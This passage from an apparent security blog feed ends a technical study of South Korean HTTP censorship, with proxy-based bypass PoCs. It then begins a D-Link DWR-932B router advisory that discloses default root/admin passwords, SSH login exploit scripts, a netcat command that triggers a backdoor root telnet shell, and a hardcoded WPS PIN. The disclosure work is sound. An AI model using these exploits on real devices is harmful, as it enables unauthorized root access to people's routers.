HTTP/1.0 200 OK
Content-type: text/html

&lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
</code></pre>
<p>Using <code>nc</code> within a shell will bypass the censorship:</p>
<pre><code>user@kali:~$ nc www.xhamster.com 80
GET / HTTP/1.0
Host: www.xhamster.com

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: http://xhamster.com/
</code></pre>
<p><strong>Analysis</strong>: if you send HTTP requests line by line, you "CAN" bypass the censorship system. Unfortunately, browsers are sending requests in a big buffer. Note this is specific to the KT ISP. I think they are using a specific version of the censorship cluster, as the behavior is inconsistent with the other 2 ISPs.</p>
<p><a id="http-proxies"></a></p>
<h2>4. Using HTTP proxies</h2>
<p>Using <a href="http://www.samair.ru/">samair.ru</a> services and proxies in private VPS, I determined that all the TCP ports are being watched.</p>
<p>When a proxy with port <code>80/tcp</code> is used, the request is blocked:</p>
<pre><code>user@kali:~$ http_proxy=http://115.159.XXX.XXX:80/ wget http://www.tube8.com
--2016-10-01 00:00:00--  http://www.tube8.com/
Connecting to 115.159.XXX.XXX:80... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00--  http://www.warning.or.kr/
Connecting to 115.159.217.30:80... connected.
[...]
</code></pre>
<p>When proxy with port <code>2222/tcp</code> is used, the request is blocked:</p>
<pre><code>user@kali:~$ http_proxy='http://9X.XX.XX.XX:2222/' wget http://www.redtube.com/
--2016-10-01 00:00:00--  http://www.redtube.com/
Connecting to 9X.XX.XX.XX:2222... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00--  http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:2222... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.2'

index.html.2        100%[===================&gt;]  10.34K  16.8KB/s    in 0.6s

2016-10-01 00:00:00 (16.8 KB/s) - 'index.html.2' saved [10590/10590]

user@kali:~$
</code></pre>
<p>When a proxy with port <code>3128/tcp</code> is used, the request is blocked too:</p>
<pre><code>user@kali:~$ http_proxy='http://9X.XX.XX.XX:3128/' wget http://www.tube8.com
--2016-10-01 XX:XX:XX--  http://www.tube8.com/
Connecting to 9X.XX.XX.XX:3128... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX--  http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:3128... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'

index.html.1        100%[===================&gt;]  10.34K  20.1KB/s    in 0.5s

2016-10-01 XX:XX:XX (20.1 KB/s) - 'index.html.1' saved [10590/10590]

user@kali:~$
</code></pre>
<p>When a proxy with port <code>54182/tcp</code> is used, the request is blocked too:</p>
<pre><code>user@kali:~$ http_proxy='http://9X.XX.XX.XX:54182/' wget http://www.tube8.com
--2016-10-01 XX:XX:XX--  http://www.tube8.com/
Connecting to 9X.XX.XX.XX:54182... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00--  http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:54182... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'

index.html.1        100%[===================&gt;]  10.34K  20.1KB/s    in 0.5s

2016-10-01 XX:XX:XX (20.1 KB/s) - 'index.html.1' saved [10590/10590]

user@kali:~$
</code></pre>
<p><strong>Analysis</strong>: the censorship system is analyzing ALL the HTTP packets.</p>
<p><a id="ipv6"></a></p>
<h2>5. IPv6</h2>
<p>Unfortunately the censorship system with IPv6 packets cannot be tested as it is impossible to get an IPv6 in South Korea :(</p>
<p><a id="bypassing-the-filter"></a></p>
<h2>6. Bypassing the filter</h2>
<p>I will show different measures that do not require a VPN to bypass the censorship.</p>
<p><a id="bypassing-by-using-a-different-vhost"></a></p>
<h3>6.1. By using a different vhost (easy-PoC)</h3>
<p>This is the easiest solution but requires a wildcard configuration in the remote http website you want to visit.</p>
<p>As seen before, <code>www.tube8.com</code> webservers accept all vhosts to serve <code>www.tube8.com</code> webpages.</p>
<p>We get the IP of <code>www.tube8.com</code>:</p>
<pre><code>user@kali:~$ host www.tube8.com
www.tube8.com has address 31.192.112.104
user@kali:~$
</code></pre>
<p>By simply adding the IP to the <code>/etc/hosts</code> file on Linux, you will associate a new host:</p>
<pre><code>root@kali:~# echo "31.192.112.104 this.is.not.tube8" &gt;&gt; /etc/hosts
</code></pre>
<p>By visiting <code>http://this.is.not.tube8/</code>, you will have access to the <code>tube8.com</code> website evading the censorship (the resulting image was censored by me):</p>
<p><img alt="" src="images/2016-censorship-screenshot-this.is.not.tube8.png" /></p>
<p>You can also use a proxy that rewrites all the requests.</p>
<p>We will code a proxy for the next solutions only :)</p>
<p><a id="bypassing-by-using-http-persistent-connection-head-then-get"></a></p>
<h3>6.2. By using HTTP persistent connection: HEAD then GET</h3>
<p>The censorship only works on the first HTTP request when using a HTTP/1.1 persistent connection as long as the second request is sent fast enough (&lt; 0.3s). If you use it within 0.3s, you can force the remote transparent proxies to skip the verification.</p>
<p>From my tests, doing a HTTP/1.1 keep-alive request with 1 <code>GET</code> then waiting less than 0.3s and asking a new <code>GET</code> will bypass the censorship. A delay more than 0.3s between the requests will force a verification by the transparent proxies. Doing 2x <code>GET</code> for each resource is too expensive in bandwidth term. We will prefer using a <code>HEAD</code> instead of the first <code>GET</code> request (you can use a <code>PUT</code> or whatever you want).</p>
<p>By exploiting this fact it is very easy to bypass censorship - see a HTTP proxy as provided below:</p>
<ul>
<li>Step 1: client sends a request to the proxy: <code>GET http://google.com/ HTTP/1.1</code></li>
<li>Step 2: the proxy sends a request to the remote HTTP server containing below:</li>
</ul>
<pre>
HEAD / HTTP/1.1
Host: hacktheplanet

GET http://google.com/ HTTP/1.1\r\n\r\n
</pre>

<ul>
<li>Step 3: the proxy sends to the client the answer of the second request (<code>GET http://google.com/ HTTP/1.1</code>) from the HTTP/1.1 keep-alive session, skipping the answer of the <code>HEAD / HTTP/1.1</code> request.</li>
</ul>
<p>The bypass is complete but requires sending a <code>HEAD</code> for each <code>GET</code>.</p>
<p>Example:</p>
<p>Someone wants to visit <code>www.xhamster.com</code>:</p>
<pre><code>user@kali:~$ http_proxy=http://127.0.0.1:8081/ firefox http://www.xhamster.com/ &amp;!
</code></pre>
<p>The proxy logs will show you the requests of the client:</p>
<pre><code>user@kali:~$ ./proxy-head-then-get.py
Starting HEAD-then-GET PoC Proxy Server on 127.0.0.1 : 8081
Request to http://www.xhamster.com/
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to Request to http://static-ec.xhcdn.com/id277/js/main2.jshttp://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js
Request to Request to Request to Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
http://static-ec.xhcdn.com/id2/js/ads.js
http://static-ec.xhcdn.com/id16/js/track.min.jsRequest to http://static-ec.xhcdn.com/id4/js/ablockhint.js
http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Request to http://ocsp.digicert.com/
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js
Request to http://static-ec.xhcdn.com/id277/js/main2.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to Request to http://static-ec.xhcdn.com/images/flag/v3/KR.png
http://txh.xhcdn.com/t/685/9_6478685.jpg
Request to Request tohttp://txh.xhcdn.com/t/050/9_6478050.jpg
http://static-ec.xhcdn.com/images/tpl2/rta.png
Request toRequest to http://txh.xhcdn.com/t/482/1_6478482.jpg
Request to http://txh.xhcdn.com/t/287/1_6478287.jpg
Request to http://txh.xhcdn.com/t/685/9_6478685.jpg
^CTraceback (most recent call last):
  File "./proxy-head-then-get.py", line 95, in &lt;module&gt;
main()
  File "./proxy-head-then-get.py", line 45, in main
conn, client_addr = s.accept()
  File "/usr/lib/python2.7/socket.py", line 206, in accept
sock, addr = self._sock.accept()
KeyboardInterrupt
user@kali:~$
</code></pre>
<p>This proxy will successfully bypass the censorship system. The user has a full access to the censored website.</p>
<p>Example with <code>www.youporn.com</code>:</p>
<p><img alt="" src="images/2016-censorship-screenshot-head-then-get.png" /></p>
<p>You can fetch this PoC at <a href="https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-head-then-get.py">https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-head-then-get.py</a>.</p>
<p><a id="bypassing-by-using-http-persistent-connection-get-then-get"></a></p>
<h3>6.3. By using HTTP persistent connection: GET then GET</h3>
<p>As seen in the 6.2 section, you can use multiple HTTP requests inside a HTTP connection.</p>
<p>To avoid using too much bandwidth asking the remote resource twice, we can do the following:</p>
<ul>
<li>
<p>Step 1: client sends a request to the proxy: <code>GET http://google.com/ HTTP/1.1</code></p>
</li>
<li>
<p>Step 2: the proxy sends a request to the remote HTTP server containing below:</p>
</li>
</ul>
<pre>
GET /random-404-blabla HTTP/1.1
Host: hacktheplanet

GET http://google.com/ HTTP/1.1\r\n\r\n
</pre>

<ul>
<li>Step 3: the proxy sends the answer of the second request (<code>GET http://google.com/ HTTP/1.1</code>) from the HTTP/1.1 keep-alive session, skipping the answer of the first <code>GET</code> request.</li>
</ul>
<p>This allows to completely bypass the censorship.</p>
<p>A PoC (proxy) is provided and works as long as the size of the 404 page is small.</p>
<p>The PoC in action while the user wants to visit a censored webpage (using the 127.0.0.1:8082) proxy is below:</p>
<pre><code>user@kali:~$ http_proxy=http://127.0.0.1:8082/ ./proxy-get-then-get.py
Starting GET-then-GET PoC Proxy Server on 127.0.0.1 : 8082
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to Request toRequest to http://static-ec.xhcdn.com/id4/js/ablockhint.js
 http://static-ec.xhcdn.com/id277/js/main2.jsRequest to http://static-ec.xhcdn.com/id2/js/ads.js
http://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js

Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
 Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Unhandled exception in thread started by &lt;function proxy_thread at 0x7f0e80592140&gt;
Traceback (most recent call last):
  File "./proxy-get-then-get.py", line 54, in proxy_thread
url        = first_line.split(' ')[1]
IndexError: list index out of range
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Unhandled exception in thread started by &lt;function proxy_thread at 0x7f0e80592140&gt;
Traceback (most recent call last):
  File "./proxy-get-then-get.py", line 54, in proxy_thread
url        = first_line.split(' ')[1]
IndexError: list index out of range
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://clients1.google.com/ocsp
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/images/snapchat/snapchat-image.png
Request to http://txh.xhcdn.com/t/480/7_6062480.jpg
 Request to http://static-ec.xhcdn.com/images/tpl2/rta.png
[...]
</code></pre>
<p>This proxy will successfully bypass the censorship system. The user has a full access to the censored website.</p>
<p>You can fetch this PoC at <a href="https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-get-then-get.py">https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-get-then-get.py</a>.</p>
<p><a id="bypassing-by-lf-instead-of-crlf"></a></p>
<h3>6.4. By using \n instead of \r\n in the HTTP requests (unreliable method)</h3>
<p>The censorship engine on the edge of KT network only supports \r\n in HTTP requests.</p>
<p>By using <code>\n</code> inside your http requests instead of <code>\r\n</code>, you will completely bypass the censorship system.</p>
<p>From <a href="https://www.ietf.org/rfc/rfc2616.txt">RFC2616</a>:</p>
<blockquote>
<p>CR = &lt;US-ASCII CR, carriage return (13)&gt;</p>
<p>LF = &lt;US-ASCII LF, linefeed (10)&gt;</p>
<p>HTTP/1.1 defines the sequence CR LF as the end-of-line marker for all protocol elements except the entity-body</p>
</blockquote>
<p>However, there is a "tolerance provision" in Section 19.3 in <a href="https://www.ietf.org/rfc/rfc2616.txt">RFC2616</a>:</p>
<blockquote>
<p>The line terminator for message-header fields is the sequence CRLF. However, we recommend that applications, when parsing such headers, recognize a single LF as a line terminator and ignore the leading CR.</p>
</blockquote>
<p>The censorship system located on the edge of KT network only supports <code>\r\n</code>, so using <code>\n</code> will bypass the censorship and allow access to servers accepting <code>\n</code> (like 100% of the available HTTP servers).</p>
<p>A proxy is provided:</p>
<pre><code>user@kali:~$ python proxy-crlf-to-lf.py
Starting CRLF-to-LF PoC Proxy Server on 127.0.0.1 : 8080
Works using KT
Request to http://localhost/
</code></pre>
<p>Using <code>127.0.0.1:8080</code> as a proxy will rewrite all the HTTP requests without having to configure anything.</p>
<p>This method is unreliable and may not work sometimes. I bet I'm using a specific cluster of transparent proxies that are very HTTP-compliant.</p>
<p>Note to the developers of the transparent proxies: seriously guys? Only accepting <code>\r\n</code> as a valid method and allowing <code>\n</code> to bypass all the filters? This smells like a nice backdoor feature.</p>
<p>You can fetch this PoC at <a href="https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-crlf-to-lf.py">https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-crlf-to-lf.py</a>.</p>
<p><a id="bypassing-by-using-http-invalid-methods"></a></p>
<h3>6.5. By using HTTP invalid methods</h3>
<p>As you may know, there are a lot of HTTP methods: <code>PUT</code>, <code>GET</code>, <code>POST</code>, <code>TRACE</code>...</p>
<p>You can define an <code>X</code> method instead of <code>GET</code>. Apache2 is very permissive and will serve the webpages even if it's not a valid method. Nginx will refuse invalid methods.</p>
<p>A PoC is provided and will rewrite all the <code>GET</code> into a <code>X</code> producing these requests:</p>
<pre><code>X / HTTP/1.0
Host: www.website.com
</code></pre>
<p>The problem is that CDN used for JavaScript/images will refuse the <code>X</code> method and you will see borked websites.</p>
<p>Using the list provided at <a href="https://github.com/aredo/porn-site-list/blob/master/sites.json">https://github.com/aredo/porn-site-list/blob/master/sites.json</a>, I determined 50% of the websites are reachable using this technique.</p>
<p>You can fetch this PoC at <a href="https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-X-method.py">https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-X-method.py</a>.</p>
<p><a id="bypassing-by-sending-http-requests-line-by-line"></a></p>
<h3>6.6. By sending HTTP requests line by line</h3>
<p>As <a href="#readline-vs-buffered-http-requests">demonstrated above in the section 3.5.10</a>, if you send requests line by line using the KT network, you will bypass the censorship system.</p>
<p>A proxy is provided in the PoC and will modify the requests.</p>
<p>The important part is:</p>
<pre><code>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((webserver, 80))

for req in request.split('\n'):
s.send(req + '\n')
</code></pre>
<p>It is not very performance-oriented but it will bypass the censorship system :)</p>
<p>You can fetch this PoC at <a href="https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-readline.py">https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-readline.py</a>.</p>
<p><a id="bypassing-by-using-method-only-if-there-is-a-censorship"></a></p>
<h3>6.7: By using a method ONLY if there is a censorship</h3>
<p>When requesting a remote webpage, by observing the answer, we can determine whether a website is censored or not (does the reply contains a 302 redirection to <code>www.warning.or.kr</code> or does it contain the string <code>www.warning.or.kr</code> ?).</p>
<p>If it is censored, the proxy can try consecutively multiple methods (see 6.1 to 6.6) to fetch the resource and, if the censorship is bypassed, to serve it to the client. The proxy can have a hash list corresponding to blocked websites and the working methods to bypass the censorship system.</p>
<p>As CDN are not blocked, this method is very effective. Writing a PoC is left as an exercise for the reader.</p>
<p><a id="bypassing-by-using-a-vpn"></a></p>
<h3>6.8: By using a VPN</h3>
<p>The censorship system does not analyze VPN connections. You can put your traffic inside encrypted connection to bypass it.</p>
<p>This is the easiest solution but can be costly instead of the free ones I listed above.</p>
<p><a id="bypassing-by-using-https-websites-proxies"></a></p>
<h3>6.9: By using HTTPS websites/proxies</h3>
<p>The censorship system does not support HTTPS. You can put your traffic inside encrypted HTTPS connections to bypass it with a remote https proxy or just by accessing to remote HTTPS websites.</p>
<p><a id="conclusion"></a></p>
<h2>7. Conclusion</h2>
<p>The Internet censorship used in South Korea is rudimentary from a technical point of view. It only analyzes <code>Host</code> headers in every request and absolute URLs in old HTTP versions. It doesn't block VPN, HTTPS and HTTP2 websites but analyzes all the TCP connections. It can be bypassed very easily compared to the Chinese wall and is not compatible to a very-old protocol or new-protocol. I discovered no DNS poisoning in my tests.</p>
<p>For some sites, a browser plugin rewriting the <code>Host</code> field will even allow to bypass the censorship (as long as the websites provide webpages for the default/random virtual hosts).</p>
<p>The government is still analyzing at least the headers of all HTTP requests and is comparing the <code>Host</code> header and the <code>URI</code> with a blacklist of domains.</p>
<p>Considering all the efforts that the government of South Korea is making in censorship <a href="https://en.wikipedia.org/wiki/Censorship_in_South_Korea">from a legal point of view</a>, I'm very surprised at the lack of technologies involved - we are speaking about one of the best connected countries in the world with gigabit connections everywhere (although their <a href="https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html">routers</a> <a href="https://pierrekim.github.io/blog/2015-05-05-127-iptime-routers-wifiaps-modems-firewalls-models-vulnerable-with-RCE-with-root-privileges.html">are</a> <a href="https://pierrekim.github.io/blog/2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html">massively</a> <a href="https://pierrekim.github.io/blog/2015-07-27-172-iptime-router-models-unauthenticated-RCE-with-DHCP-updated.html">hackable</a>). A 12 year-old boy can bypass this borked censorship system in 5 minutes. We see minimal best effort to block websites, showing that the government wants users to think they are controlling the Internet but doesn't have budget to apply the censorship. We see transparent HTTP proxies with different behaviors (accepting and sometimes blocking for the same webpage), which means deployment problems and inconsistencies in configurations of the blocking solution.</p>
<p>The current solution is not working and, because of its inefficiency dealing with encrypted websites or new protocols, in my view, will be replaced by massive nullroutes of targeted websites. As soon as major adult websites will switch to SSL/TLS, the current censorship system will become completely ineffective.</p>
<p>Note that South Korean social medias (Naver, Daum, ...) appear to be still very monitored. However, using social medias not located in South Korea seems to bypass this censorship. Social medias are not included in the scope of this technical analysis.</p>
<p>Search engines are massively censored as well: Naver.com (first search engine in South Korea) and Google.co.kr will happily return 0 result about certain terms or will ask you information to release results (your name, your phone number, your birthday) saying that: "<em>Harmful results for youth have been excluded. Users being more that 19 year-old can view all the results through the adult authentication.</em>"</p>
<p><a id="credits-and-greeting"></a></p>
<h2>8. Credits and Greetings</h2>
<p>I would like to thank my wife who endures my time-consuming passions (maybe craziness is the correct term).</p>
<p>I would like to thank A, J and T (you know who you are :)</p>
<p>A new generation is coming, we have duties to transfer knowledge in order to show how things work and how to break them. Our freedom depends on it.</p>
<p><a id="personal-note-to-www.warning.or.kr-administrator"></a></p>
<h2>9. Personal note to http://www.warning.or.kr/ administrator</h2>
<p>1/ Please don't use an image containing a lot of Korean text to explain what is going on. Using <a href="http://warning.or.kr/img/img.png">http://warning.or.kr/img/img.png</a> is a bad idea for beginners in Hangeul.</p>
<p>2/ Don't use JavaScript to disable the right click - we are not in the 2000s anymore. Seriously?!?</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">&lt;</span>script language<span style="color: #666666">=</span><span style="color: #BA2121">&quot;JavaScript&quot;</span><span style="color: #666666">&gt;</span>
<span style="color: #408080; font-style: italic">&lt;!--</span>
<span style="color: #008000; font-weight: bold">function</span> click()
{
<span style="color: #008000; font-weight: bold">if</span> (event.button <span style="color: #666666">!=</span> <span style="color: #666666">1</span>) {  } 
}
<span style="color: #008000">document</span>.onmousedown<span style="color: #666666">=</span>click;
<span style="color: #666666">--&gt;</span>
<span style="color: #666666">&lt;</span><span style="border: 1px solid #FF0000">/script&gt;</span>
</pre></div>

<p>3/ Please provide an International/English version for non-Korean speaker/Hangeul-beginner.</p>
<p><a id="license"></a></p>
<h2>10. License</h2>
<p>This research is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)</title>
        <link href="2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Dlink is a multinational networking equipment manufacturing corporation.</p>
<h2>Vulnerabilities Summary</h2>
<p>The Dlink DWR-932B is a LTE router / access point overall badly
designed with a lot of vulnerabilities. It's available in a number of countries to
provide Internet with a LTE network. It's a model based on the (in)famous <a href="https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html">Quanta LTE router models</a> and inherits some vulnerabilities.</p>
<p>The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).</p>
<p>The summary of the vulnerabilities is:</p>
<ul>
<li><a href="#backdoor-accounts">Backdoor accounts</a></li>
<li><a href="#backdoor">Backdoor</a></li>
<li><a href="#default-wps-pin">Default WPS PIN</a></li>
<li><a href="#weak-wps-pin-generation">Weak WPS PIN Generation - with a reverse-engineered algorithm</a></li>
<li><a href="#leaking-no-ip-account">Leaking No-IP account (?)</a></li>
<li><a href="#rce-lulz-httpd">Multiple vulnerabilities in the HTTP daemon (qmiweb)</a></li>
<li><a href="#remote-fota">Remote FOTA (Firmware Over The Air)</a></li>
<li><a href="#bad-security-practices">Bad security practices</a></li>
<li><a href="#security-removed-in-upnp">Security removed in UPnP</a></li>
</ul>
<p>A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown.</p>
<p>This router is still on sale.</p>
<p><strong>Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information.</strong></p>
<p><a id="backdoor-accounts"></a></p>
<h2>Details - Backdoor accounts</h2>
<p>By default, telnetd and SSHd are running in the router.</p>
<p>Telnetd is running even if there is no documentation about it:</p>
<pre><code>user@kali:~$ cat ./etc/init.d/start_appmgr

[...]
#Sandro { for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
        start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro }
[...]
</code></pre>
<p>2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router.</p>
<pre><code>admin@homerouter:~$ grep admin /etc/passwd 
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
admin@homerouter:~$
</code></pre>
<p>The password for admin is 'admin' and can be found in the <code>/bin/appmgr</code> program using IDA:</p>
<p><img alt="" src="images/2016-quanta-backdoor-admin-default-mod_sysadm_config_passwd.png" /></p>
<p>About the root user:</p>
<pre><code>user@kali:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
admin@kali:~$
</code></pre>
<p>Using john to crack the hashes:</p>
<pre><code>user@kali:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::

2 password hashes cracked, 0 left
user@kali:~$
</code></pre>
<p>Results:</p>
<ul>
<li>admin has password admin</li>
<li>root has password 1234</li>
</ul>
<p>Working exploit for admin:</p>
<pre><code>user@kali:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f

set timeout 3
spawn ssh admin@192.168.1.1
expect "password: $"
send "admin\r"
interact
user@kali:~$ ./quanta-ssh-default-password-admin
spawn ssh admin@192.168.1.1
admin@192.168.1.1's password:
admin@homerouter:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
admin@homerouter:~$
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin">https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin</a>.</p>
<p>Working exploit for root:</p>
<pre><code>user@kali:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f

set timeout 3
spawn ssh root@192.168.1.1
expect "password: $"
send "1234\r"
interact
user@kali:~$ ./quanta-ssh-default-password-root
spawn ssh root@192.168.1.1
root@192.168.1.1's password:
root@homerouter:~# id
uid=168(root) gid=168(root) groups=168(root)
root@homerouter:~#
</code></pre>
<p>Alternatively, you can fetch it at <a href="https://pierrekim.github.io/advisories/quanta-ssh-default-password-root">https://pierrekim.github.io/advisories/quanta-ssh-default-password-root</a>.</p>
<p><a id="backdoor"></a></p>
<h2>Details - Backdoor</h2>
<p>A backdoor is present inside the <code>/bin/appmgr</code> program. By sending a specific string in UDP to the router, an authentication-less telnet server will start if a telnetd daemon is not already running.</p>
<p>In <code>/bin/appmgr</code>, a thread listens to 0.0.0.0:39889 (UDP) and waits for commands.</p>
<p>If a client sends "HELODBG" to the router, the router will execute <code>/sbin/telnetd -l /bin/sh</code>, allowing to access without authentication to the router as root.</p>
<p>When using IDA, we can see the backdoor is located in the main function (line 369):</p>
<p><img alt="" src="images/2016-dlink-backdoor-telnet.png" /></p>
<p>Working PoC :</p>
<pre><code>user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe


msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><a id="default-wps-pin"></a></p>
<h2>Details - Default WPS PIN</h2>
<p>Wi-Fi Protected Setup(WPS) is a standard for easy and secure establishment of a wireless home network, as defined in the documentation provided in the router (help.html).</p>
<p>By default, the PIN for the WPS system is ever <code>28296607</code>. It is, in fact, hardcoded in the <code>/bin/appmgr</code> program:</p>
<p><img alt="" src="images/2016-dlink-wifi_get_default_wps_pin.png" /></p>
<p>This PIN can be found in the HostAP configuration too, and, using the information leak, in the HTTP APIs of the router:</p>
<pre><code>root@homerouter:~# ps -a|grep hostap
 1006 root       0:00 hostapd /var/wifi/ar6k0.conf
 1219 root       0:00 grep hostap
root@homerouter:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]
</code></pre>
<p><a id="weak-wps-pin-generation"></a></p>
<h2>Details - Weak WPS PIN Generation - with a reverse-engineered algorithm</h2>
<p>An user can use the webinterface to generate a temporary PIN for the WPS system (low probability as the <code>28296607</code> WPS PIN is provided by default).</p>
